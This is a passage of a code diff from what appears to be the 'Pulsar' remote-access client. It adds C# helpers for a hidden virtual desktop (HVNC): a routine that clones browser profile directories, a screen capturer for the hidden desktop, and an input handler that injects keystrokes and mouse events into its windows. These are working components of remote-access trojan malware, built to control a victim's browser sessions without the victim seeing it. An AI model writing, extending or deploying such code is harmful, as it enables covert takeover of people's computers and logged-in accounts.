foreach (string directory in Directory.EnumerateDirectories(sourceDir, "*", SearchOption.AllDirectories))
|
||||
{
|
||||
cancellationToken.ThrowIfCancellationRequested();
|
||||
directories.Add(directory);
|
||||
}
|
||||
|
||||
foreach (string directory in directories)
|
||||
{
|
||||
cancellationToken.ThrowIfCancellationRequested();
|
||||
|
||||
string relativeDir = directory.Substring(sourceDir.Length)
|
||||
.TrimStart(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar);
|
||||
string targetDir = string.IsNullOrEmpty(relativeDir)
|
||||
? destDir
|
||||
: Path.Combine(destDir, relativeDir);
|
||||
|
||||
Directory.CreateDirectory(targetDir);
|
||||
}
|
||||
|
||||
var files = new List<string>();
|
||||
|
||||
foreach (string file in Directory.EnumerateFiles(sourceDir, "*", SearchOption.AllDirectories))
|
||||
{
|
||||
cancellationToken.ThrowIfCancellationRequested();
|
||||
files.Add(file);
|
||||
}
|
||||
|
||||
int totalFiles = files.Count;
|
||||
int processed = 0;
|
||||
bool allFilesCopied = true;
|
||||
|
||||
progress?.Report(new BrowserCloneProgress(0, totalFiles, string.Empty, totalFiles == 0));
|
||||
|
||||
foreach (string file in files)
|
||||
{
|
||||
cancellationToken.ThrowIfCancellationRequested();
|
||||
|
||||
string relativePath = file.Substring(sourceDir.Length)
|
||||
.TrimStart(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar);
|
||||
string destFile = Path.Combine(destDir, relativePath);
|
||||
|
||||
string destFileDirectory = Path.GetDirectoryName(destFile);
|
||||
if (!string.IsNullOrEmpty(destFileDirectory))
|
||||
{
|
||||
Directory.CreateDirectory(destFileDirectory);
|
||||
}
|
||||
|
||||
bool copied = TryCopyFileWithValidation(file, destFile, killIfFailed);
|
||||
if (!copied)
|
||||
{
|
||||
Debug.WriteLine($"[HandleHijacker] Failed to copy '{file}' to '{destFile}'.");
|
||||
allFilesCopied = false;
|
||||
}
|
||||
|
||||
processed++;
|
||||
progress?.Report(new BrowserCloneProgress(processed, totalFiles, relativePath));
|
||||
}
|
||||
|
||||
progress?.Report(new BrowserCloneProgress(totalFiles, totalFiles, string.Empty));
|
||||
|
||||
return allFilesCopied;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"[HandleHijacker] Error copying directory: {ex.Message}");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private static bool TryCopyFileWithValidation(string sourcePath, string destinationPath, bool killIfFailed)
|
||||
{
|
||||
try
|
||||
{
|
||||
File.Copy(sourcePath, destinationPath, true);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"[HandleHijacker] Standard copy failed for '{sourcePath}': {ex.Message}");
|
||||
}
|
||||
|
||||
if (ValidateFileCopy(sourcePath, destinationPath))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
if (!ForceCopyFile(sourcePath, destinationPath, killIfFailed))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
return ValidateFileCopy(sourcePath, destinationPath);
|
||||
}
|
||||
|
||||
private static bool ValidateFileCopy(string sourcePath, string destinationPath)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!File.Exists(sourcePath) || !File.Exists(destinationPath))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
var sourceInfo = new FileInfo(sourcePath);
|
||||
var destInfo = new FileInfo(destinationPath);
|
||||
|
||||
if (sourceInfo.Length != destInfo.Length)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
MirrorFileMetadata(sourceInfo, destInfo);
|
||||
return true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"[HandleHijacker] Failed to validate copy '{sourcePath}' -> '{destinationPath}': {ex.Message}");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private static void MirrorFileMetadata(FileInfo sourceInfo, FileInfo destInfo)
|
||||
{
|
||||
try
|
||||
{
|
||||
File.SetAttributes(destInfo.FullName, sourceInfo.Attributes);
|
||||
}
|
||||
catch { }
|
||||
|
||||
try
|
||||
{
|
||||
File.SetCreationTimeUtc(destInfo.FullName, sourceInfo.CreationTimeUtc);
|
||||
File.SetLastWriteTimeUtc(destInfo.FullName, sourceInfo.LastWriteTimeUtc);
|
||||
File.SetLastAccessTimeUtc(destInfo.FullName, sourceInfo.LastAccessTimeUtc);
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,268 @@
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Pulsar.Client.Helper.HVNC
|
||||
{
|
||||
internal class ImageHandler
|
||||
{
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern IntPtr GetDC(IntPtr hWnd);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern bool SetThreadDesktop(IntPtr hDesktop);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess);
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
private static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern IntPtr GetDesktopWindow();
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern bool GetWindowRect(IntPtr hwnd, out RECT lpRect);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool IsWindowVisible(IntPtr hWnd);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool PrintWindow(IntPtr hwnd, IntPtr hDC, uint nFlags);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern IntPtr GetWindow(IntPtr hWnd, GetWindowType uCmd);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern IntPtr GetTopWindow(IntPtr hWnd);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern bool ReleaseDC(IntPtr hWnd, IntPtr hDC);
|
||||
|
||||
[DllImport("gdi32.dll")]
|
||||
private static extern IntPtr CreateCompatibleDC(IntPtr hdc);
|
||||
|
||||
[DllImport("gdi32.dll")]
|
||||
private static extern IntPtr CreateCompatibleBitmap(IntPtr hdc, int nWidth, int nHeight);
|
||||
|
||||
[DllImport("gdi32.dll")]
|
||||
private static extern IntPtr SelectObject(IntPtr hdc, IntPtr hgdiobj);
|
||||
|
||||
[DllImport("gdi32.dll")]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool DeleteObject(IntPtr hObject);
|
||||
|
||||
[DllImport("gdi32.dll")]
|
||||
private static extern bool DeleteDC(IntPtr hdc);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern bool CloseDesktop(IntPtr hDesktop);
|
||||
|
||||
[DllImport("gdi32.dll")]
|
||||
private static extern int GetDeviceCaps(IntPtr hdc, int nIndex);
|
||||
|
||||
public ImageHandler(string DesktopName)
|
||||
{
|
||||
IntPtr intPtr = OpenDesktop(DesktopName, 0, true, 511U);
|
||||
if (intPtr == IntPtr.Zero)
|
||||
{
|
||||
intPtr = CreateDesktop(DesktopName, IntPtr.Zero, IntPtr.Zero, 0, 511U, IntPtr.Zero);
|
||||
}
|
||||
this.Desktop = intPtr;
|
||||
}
|
||||
|
||||
private static float GetScalingFactor()
|
||||
{
|
||||
float result;
|
||||
using (Graphics graphics = Graphics.FromHwnd(IntPtr.Zero))
|
||||
{
|
||||
IntPtr hdc = graphics.GetHdc();
|
||||
int deviceCaps = GetDeviceCaps(hdc, 10);
|
||||
result = (float)GetDeviceCaps(hdc, 117) / (float)deviceCaps;
|
||||
graphics.ReleaseHdc(hdc);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
private bool DrawApplication(IntPtr hWnd, Graphics ModifiableScreen, IntPtr DC, float scalingFactor, Rectangle captureArea)
|
||||
{
|
||||
bool result = false;
|
||||
RECT rect;
|
||||
GetWindowRect(hWnd, out rect);
|
||||
|
||||
// Only draw if window is within the capture area
|
||||
if (rect.Right < captureArea.Left || rect.Left > captureArea.Right ||
|
||||
rect.Bottom < captureArea.Top || rect.Top > captureArea.Bottom)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
IntPtr intPtr = CreateCompatibleDC(DC);
|
||||
IntPtr intPtr2 = CreateCompatibleBitmap(DC, (int)((float)(rect.Right - rect.Left) * scalingFactor), (int)((float)(rect.Bottom - rect.Top) * scalingFactor));
|
||||
SelectObject(intPtr, intPtr2);
|
||||
uint nFlags = 2U;
|
||||
if (PrintWindow(hWnd, intPtr, nFlags))
|
||||
{
|
||||
try
|
||||
{
|
||||
Bitmap bitmap = Image.FromHbitmap(intPtr2);
|
||||
// Adjust draw position relative to capture area
|
||||
ModifiableScreen.DrawImage(bitmap, new Point(rect.Left - captureArea.Left, rect.Top - captureArea.Top));
|
||||
bitmap.Dispose();
|
||||
result = true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
DeleteObject(intPtr2);
|
||||
DeleteDC(intPtr);
|
||||
return result;
|
||||
}
|
||||
|
||||
private void DrawTopDown(IntPtr owner, Graphics ModifiableScreen, IntPtr DC, float scalingFactor, Rectangle captureArea)
|
||||
{
|
||||
IntPtr intPtr = GetTopWindow(owner);
|
||||
if (intPtr == IntPtr.Zero)
|
||||
{
|
||||
return;
|
||||
}
|
||||
intPtr = GetWindow(intPtr, GetWindowType.GW_HWNDLAST);
|
||||
if (intPtr == IntPtr.Zero)
|
||||
{
|
||||
return;
|
||||
}
|
||||
while (intPtr != IntPtr.Zero)
|
||||
{
|
||||
this.DrawHwnd(intPtr, ModifiableScreen, DC, scalingFactor, captureArea);
|
||||
intPtr = GetWindow(intPtr, GetWindowType.GW_HWNDPREV);
|
||||
}
|
||||
}
|
||||
|
||||
private void DrawHwnd(IntPtr hWnd, Graphics ModifiableScreen, IntPtr DC, float scalingFactor, Rectangle captureArea)
|
||||
{
|
||||
if (IsWindowVisible(hWnd))
|
||||
{
|
||||
this.DrawApplication(hWnd, ModifiableScreen, DC, scalingFactor, captureArea);
|
||||
if (Environment.OSVersion.Version.Major < 6)
|
||||
{
|
||||
this.DrawTopDown(hWnd, ModifiableScreen, DC, scalingFactor, captureArea);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
CloseDesktop(this.Desktop);
|
||||
GC.Collect();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the total number of monitors available.
|
||||
/// </summary>
|
||||
/// <returns>The number of monitors.</returns>
|
||||
public static int GetMonitorCount()
|
||||
{
|
||||
return Screen.AllScreens.Length;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Captures the screenshot of the entire desktop (all monitors).
|
||||
/// </summary>
|
||||
public Bitmap Screenshot()
|
||||
{
|
||||
return Screenshot(-1); // -1 means capture all monitors
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Captures the screenshot of a specific monitor.
|
||||
/// </summary>
|
||||
/// <param name="monitorIndex">The index of the monitor to capture. Use -1 to capture all monitors.</param>
|
||||
public Bitmap Screenshot(int monitorIndex)
|
||||
{
|
||||
SetThreadDesktop(this.Desktop);
|
||||
IntPtr dc = GetDC(IntPtr.Zero);
|
||||
|
||||
Rectangle captureArea;
|
||||
|
||||
if (monitorIndex >= 0 && monitorIndex < Screen.AllScreens.Length)
|
||||
{
|
||||
// Capture specific monitor
|
||||
captureArea = Screen.AllScreens[monitorIndex].Bounds;
|
||||
}
|
||||
else
|
||||
{
|
||||
// Capture all monitors (entire desktop)
|
||||
RECT rect;
|
||||
GetWindowRect(GetDesktopWindow(), out rect);
|
||||
captureArea = new Rectangle(rect.Left, rect.Top, rect.Right - rect.Left, rect.Bottom - rect.Top);
|
||||
}
|
||||
|
||||
float scalingFactor = GetScalingFactor();
|
||||
int scaledWidth = (int)((float)captureArea.Width * scalingFactor);
|
||||
int scaledHeight = (int)((float)captureArea.Height * scalingFactor);
|
||||
|
||||
Bitmap bitmap = new Bitmap(scaledWidth, scaledHeight);
|
||||
try
|
||||
{
|
||||
using (Graphics graphics = Graphics.FromImage(bitmap))
|
||||
{
|
||||
this.DrawTopDown(IntPtr.Zero, graphics, dc, scalingFactor, captureArea);
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
ReleaseDC(IntPtr.Zero, dc);
|
||||
}
|
||||
return bitmap;
|
||||
}
|
||||
|
||||
public IntPtr Desktop = IntPtr.Zero;
|
||||
|
||||
private enum DESKTOP_ACCESS : uint
|
||||
{
|
||||
DESKTOP_NONE,
|
||||
DESKTOP_READOBJECTS,
|
||||
DESKTOP_CREATEWINDOW,
|
||||
DESKTOP_CREATEMENU = 4U,
|
||||
DESKTOP_HOOKCONTROL = 8U,
|
||||
DESKTOP_JOURNALRECORD = 16U,
|
||||
DESKTOP_JOURNALPLAYBACK = 32U,
|
||||
DESKTOP_ENUMERATE = 64U,
|
||||
DESKTOP_WRITEOBJECTS = 128U,
|
||||
DESKTOP_SWITCHDESKTOP = 256U,
|
||||
GENERIC_ALL = 511U
|
||||
}
|
||||
|
||||
private struct RECT
|
||||
{
|
||||
public int Left;
|
||||
|
||||
public int Top;
|
||||
|
||||
public int Right;
|
||||
|
||||
public int Bottom;
|
||||
}
|
||||
|
||||
private enum GetWindowType : uint
|
||||
{
|
||||
GW_HWNDFIRST,
|
||||
GW_HWNDLAST,
|
||||
GW_HWNDNEXT,
|
||||
GW_HWNDPREV,
|
||||
GW_OWNER,
|
||||
GW_CHILD,
|
||||
GW_ENABLEDPOPUP
|
||||
}
|
||||
|
||||
private enum DeviceCap
|
||||
{
|
||||
VERTRES = 10,
|
||||
DESKTOPVERTRES = 117
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,749 @@
|
||||
using Pulsar.Common.Enums;
|
||||
using Pulsar.Common.Messages.Monitoring.HVNC;
|
||||
using Pulsar.Common.Messages.Monitoring.RemoteDesktop;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace Pulsar.Client.Helper.HVNC
|
||||
{
|
||||
/// <summary>
|
||||
/// Handles input for the Hidden Virtual Network Computing (HVNC) feature.
|
||||
/// </summary>
|
||||
public class InputHandler : IDisposable
|
||||
{
|
||||
#region Win32 API Imports
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess);
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
private static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern bool CloseDesktop(IntPtr hDesktop);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern bool SetThreadDesktop(IntPtr hDesktop);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern IntPtr WindowFromPoint(POINT point);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern IntPtr SendMessage(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern IntPtr PostMessage(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern bool GetWindowRect(IntPtr hWnd, out RECT lpRect);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern bool ScreenToClient(IntPtr hWnd, ref POINT lpPoint);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern IntPtr ChildWindowFromPoint(IntPtr hWnd, POINT point);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern bool PtInRect(ref RECT lprc, POINT pt);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern bool SetWindowLong(IntPtr hWnd, int nIndex, int dwNewLong);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern int GetWindowLong(IntPtr hWnd, int nIndex);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern bool GetWindowPlacement(IntPtr hWnd, ref WINDOWPLACEMENT lpwndpl);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern int MenuItemFromPoint(IntPtr hWnd, IntPtr hMenu, POINT pt);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern int GetMenuItemID(IntPtr hMenu, int nPos);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern IntPtr GetSubMenu(IntPtr hMenu, int nPos);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern bool MoveWindow(IntPtr hWnd, int x, int y, int width, int height, bool repaint);
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern int RealGetWindowClass(IntPtr hwnd, [Out] StringBuilder pszType, int cchType);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern IntPtr GetWindow(IntPtr hWnd, uint uCmd);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern bool IsWindowVisible(IntPtr hWnd);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern bool IsWindow(IntPtr hWnd);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern bool PrintWindow(IntPtr hwnd, IntPtr hdcBlt, uint nFlags);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern bool GetClientRect(IntPtr hWnd, out RECT lpRect);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern IntPtr GetDesktopWindow();
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern uint MapVirtualKey(uint uCode, uint uMapType);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern short GetKeyState(int nVirtKey);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpKeyState,
|
||||
[Out, MarshalAs(UnmanagedType.LPWStr, SizeConst = 64)] System.Text.StringBuilder pwszBuff,
|
||||
int cchBuff, uint wFlags);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern bool GetKeyboardState(byte[] lpKeyState);
|
||||
|
||||
private delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam);
|
||||
|
||||
#endregion
|
||||
|
||||
#region Constants
|
||||
|
||||
// Window style constants
|
||||
private const int GWL_STYLE = -16;
|
||||
private const int WS_DISABLED = 0x8000000;
|
||||
|
||||
// Window message constants
|
||||
private const int WM_CHAR = 0x0102;
|
||||
private const int WM_KEYDOWN = 0x0100;
|
||||
private const int WM_KEYUP = 0x0101;
|
||||
private const int WM_LBUTTONUP = 0x0202;
|
||||
private const int WM_LBUTTONDOWN = 0x0201;
|
||||
private const int WM_MOUSEMOVE = 0x0200;
|
||||
private const int WM_CLOSE = 0x0010;
|
||||
private const int WM_SYSCOMMAND = 0x0112;
|
||||
private const int WM_NCHITTEST = 0x0084;
|
||||
private const int WM_RBUTTONUP = 0x0205;
|
||||
private const int WM_RBUTTONDOWN = 0x0204;
|
||||
private const int WM_DESTROY = 0x0002;
|
||||
|
||||
// Mouse button constants
|
||||
private const int MK_LBUTTON = 0x0001;
|
||||
private const int MK_RBUTTON = 0x0002;
|
||||
|
||||
// System command constants
|
||||
private const int SC_MINIMIZE = 0xF020;
|
||||
private const int SC_RESTORE = 0xF120;
|
||||
private const int SC_MAXIMIZE = 0xF030;
|
||||
|
||||
// Hit test area constants
|
||||
private const int HTCAPTION = 2;
|
||||
private const int HTTOP = 12;
|
||||
private const int HTBOTTOM = 15;
|
||||
private const int HTLEFT = 10;
|
||||
private const int HTRIGHT = 11;
|
||||
private const int HTTOPLEFT = 13;
|
||||
private const int HTTOPRIGHT = 14;
|
||||
private const int HTBOTTOMLEFT = 16;
|
||||
private const int HTBOTTOMRIGHT = 17;
|
||||
private const int HTCLOSE = 20;
|
||||
private const int HTMINBUTTON = 8;
|
||||
private const int HTMAXBUTTON = 9;
|
||||
private const int HTTRANSPARENT = -1;
|
||||
|
||||
// Window enumeration constants
|
||||
private const uint GW_HWNDPREV = 3;
|
||||
private const uint GW_HWNDNEXT = 2;
|
||||
|
||||
// Miscellaneous constants
|
||||
private const int VK_RETURN = 0x0D;
|
||||
private const int MN_GETHMENU = 0x01E1;
|
||||
private const int BM_CLICK = 0x00F5;
|
||||
private const int MAX_PATH = 260;
|
||||
private const int SW_SHOWMAXIMIZED = 3;
|
||||
private const int SW_RESTORE = 9;
|
||||
|
||||
private const int VK_SHIFT = 0x10;
|
||||
private const int VK_CONTROL = 0x11;
|
||||
private const int VK_MENU = 0x12; // Alt key
|
||||
private const int VK_LSHIFT = 0xA0;
|
||||
private const int VK_RSHIFT = 0xA1;
|
||||
private const int VK_LCONTROL = 0xA2;
|
||||
private const int VK_RCONTROL = 0xA3;
|
||||
private const int VK_LMENU = 0xA4; // Left Alt
|
||||
private const int VK_RMENU = 0xA5; // Right Alt
|
||||
private const int VK_CAPITAL = 0x14; // Caps Lock
|
||||
|
||||
#endregion
|
||||
|
||||
#region Fields and Properties
|
||||
|
||||
private readonly string desktopName;
|
||||
private bool isMovingWindow = false;
|
||||
private POINT lastClickCoords = new POINT { x = 0, y = 0 };
|
||||
private POINT lastWindowDimensions = new POINT { x = 0, y = 0 };
|
||||
private IntPtr windowToMove = IntPtr.Zero;
|
||||
private IntPtr workingWindow = IntPtr.Zero;
|
||||
private static readonly object syncLock = new object();
|
||||
|
||||
private bool isShiftPressed = false;
|
||||
private bool isControlPressed = false;
|
||||
private bool isAltPressed = false;
|
||||
private bool isCapsLockOn = false;
|
||||
|
||||
/// <summary>
|
||||
/// Gets the desktop handle.
|
||||
/// </summary>
|
||||
public IntPtr Desktop { get; private set; } = IntPtr.Zero;
|
||||
|
||||
#endregion
|
||||
|
||||
#region Constructor and Dispose
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="InputHandler"/> class.
|
||||
/// </summary>
|
||||
/// <param name="desktopName">The name of the desktop to handle input for.</param>
|
||||
public InputHandler(string desktopName)
|
||||
{
|
||||
this.desktopName = desktopName;
|
||||
IntPtr desktopHandle = OpenDesktop(desktopName, 0, true, (uint)DESKTOP_ACCESS.GENERIC_ALL);
|
||||
if (desktopHandle == IntPtr.Zero)
|
||||
{
|
||||
desktopHandle = CreateDesktop(desktopName, IntPtr.Zero, IntPtr.Zero, 0, (uint)DESKTOP_ACCESS.GENERIC_ALL, IntPtr.Zero);
|
||||
}
|
||||
this.Desktop = desktopHandle;
|
||||
|
||||
InitializeModifierKeyStates();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Releases all resources used by the InputHandler.
|
||||
/// </summary>
|
||||
public void Dispose()
|
||||
{
|
||||
CloseDesktop(this.Desktop);
|
||||
GC.Collect();
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region Keyboard Helper Methods
|
||||
|
||||
/// <summary>
|
||||
/// Initializes the modifier key states by checking the current system state.
|
||||
/// </summary>
|
||||
private void InitializeModifierKeyStates()
|
||||
{
|
||||
isShiftPressed = (GetKeyState(VK_SHIFT) & 0x8000) != 0;
|
||||
isControlPressed = (GetKeyState(VK_CONTROL) & 0x8000) != 0;
|
||||
isAltPressed = (GetKeyState(VK_MENU) & 0x8000) != 0;
|
||||
isCapsLockOn = (GetKeyState(VK_CAPITAL) & 0x0001) != 0;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Handles keyboard input with proper modifier tracking and character conversion.
|
||||
/// </summary>
|
||||
/// <param name="msg">The keyboard message</param>
|
||||
/// <param name="wParam">The wParam containing the virtual key code</param>
|
||||
/// <param name="lParam">The original lParam</param>
|
||||
/// <param name="targetWindow">The target window to send messages to</param>
|
||||
private void HandleKeyboardInput(uint msg, IntPtr wParam, IntPtr lParam, IntPtr targetWindow)
|
||||
{
|
||||
int virtualKey = wParam.ToInt32();
|
||||
|
||||
UpdateModifierKeyState(msg, virtualKey);
|
||||
|
||||
if (msg == WM_KEYDOWN)
|
||||
{
|
||||
if (IsModifierKey(virtualKey))
|
||||
{
|
||||
IntPtr modifierLParam = BuildKeyboardLParam(msg, wParam);
|
||||
PostMessage(targetWindow, msg, wParam, modifierLParam);
|
||||
return;
|
||||
}
|
||||
|
||||
char[] chars = VirtualKeyToChar(virtualKey);
|
||||
bool isPrintableChar = (chars != null && chars.Length > 0 && chars[0] != '\0');
|
||||
|
||||
if (isPrintableChar)
|
||||
{
|
||||
IntPtr charLParam = BuildKeyboardLParam(WM_CHAR, wParam);
|
||||
foreach (char ch in chars)
|
||||
{
|
||||
if (ch != '\0')
|
||||
{
|
||||
PostMessage(targetWindow, WM_CHAR, new IntPtr(ch), charLParam);
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
IntPtr properLParam = BuildKeyboardLParam(msg, wParam);
|
||||
PostMessage(targetWindow, msg, wParam, properLParam);
|
||||
}
|
||||
}
|
||||
else if (msg == WM_KEYUP)
|
||||
{
|
||||
IntPtr properLParam = BuildKeyboardLParam(msg, wParam);
|
||||
PostMessage(targetWindow, msg, wParam, properLParam);
|
||||
}
|
||||
else if (msg == WM_CHAR)
|
||||
{
|
||||
PostMessage(targetWindow, msg, wParam, lParam);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Updates the internal modifier key state tracking.
|
||||
/// </summary>
|
||||
/// <param name="msg">The keyboard message</param>
|
||||
/// <param name="virtualKey">The virtual key code</param>
|
||||
private void UpdateModifierKeyState(uint msg, int virtualKey)
|
||||
{
|
||||
bool keyDown = (msg == WM_KEYDOWN);
|
||||
|
||||
switch (virtualKey)
|
||||
{
|
||||
case VK_SHIFT:
|
||||
case VK_LSHIFT:
|
||||
case VK_RSHIFT:
|
||||
isShiftPressed = keyDown;
|
||||
break;
|
||||
|
||||
case VK_CONTROL:
|
||||
case VK_LCONTROL:
|
||||
case VK_RCONTROL:
|
||||
isControlPressed = keyDown;
|
||||
break;
|
||||
|
||||
case VK_MENU:
|
||||
case VK_LMENU:
|
||||
case VK_RMENU:
|
||||
isAltPressed = keyDown;
|
||||
break;
|
||||
|
||||
case VK_CAPITAL:
|
||||
if (keyDown)
|
||||
{
|
||||
isCapsLockOn = !isCapsLockOn;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Converts a virtual key to its character representation considering modifier states.
|
||||
/// </summary>
|
||||
/// <param name="virtualKey">The virtual key code</param>
|
||||
/// <returns>Array of characters, or null if not a printable character</returns>
|
||||
private char[] VirtualKeyToChar(int virtualKey)
|
||||
{
|
||||
if (IsModifierKey(virtualKey) || IsNonPrintableKey(virtualKey))
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
byte[] keyboardState = new byte[256];
|
||||
|
||||
if (isShiftPressed)
|
||||
{
|
||||
keyboardState[VK_SHIFT] = 0x80;
|
||||
}
|
||||
|
||||
if (isControlPressed)
|
||||
{
|
||||
keyboardState[VK_CONTROL] = 0x80;
|
||||
}
|
||||
|
||||
if (isAltPressed)
|
||||
{
|
||||
keyboardState[VK_MENU] = 0x80;
|
||||
}
|
||||
|
||||
if (isCapsLockOn)
|
||||
{
|
||||
keyboardState[VK_CAPITAL] = 0x01;
|
||||
}
|
||||
|
||||
|
||||
var buffer = new StringBuilder(64);
|
||||
uint scanCode = MapVirtualKey((uint)virtualKey, 0);
|
||||
|
||||
int result = ToUnicode((uint)virtualKey, scanCode, keyboardState, buffer, buffer.Capacity, 0);
|
||||
|
||||
if (result > 0)
|
||||
{
|
||||
return buffer.ToString().Substring(0, result).ToCharArray();
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Determines if a virtual key is a modifier key.
|
||||
/// </summary>
|
||||
/// <param name="virtualKey">The virtual key code</param>
|
||||
/// <returns>True if the key is a modifier key</returns>
|
||||
private bool IsModifierKey(int virtualKey)
|
||||
{
|
||||
switch (virtualKey)
|
||||
{
|
||||
case VK_SHIFT:
|
||||
case VK_LSHIFT:
|
||||
case VK_RSHIFT:
|
||||
case VK_CONTROL:
|
||||
case VK_LCONTROL:
|
||||
case VK_RCONTROL:
|
||||
case VK_MENU:
|
||||
case VK_LMENU:
|
||||
case VK_RMENU:
|
||||
case VK_CAPITAL:
|
||||
return true;
|
||||
default:
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
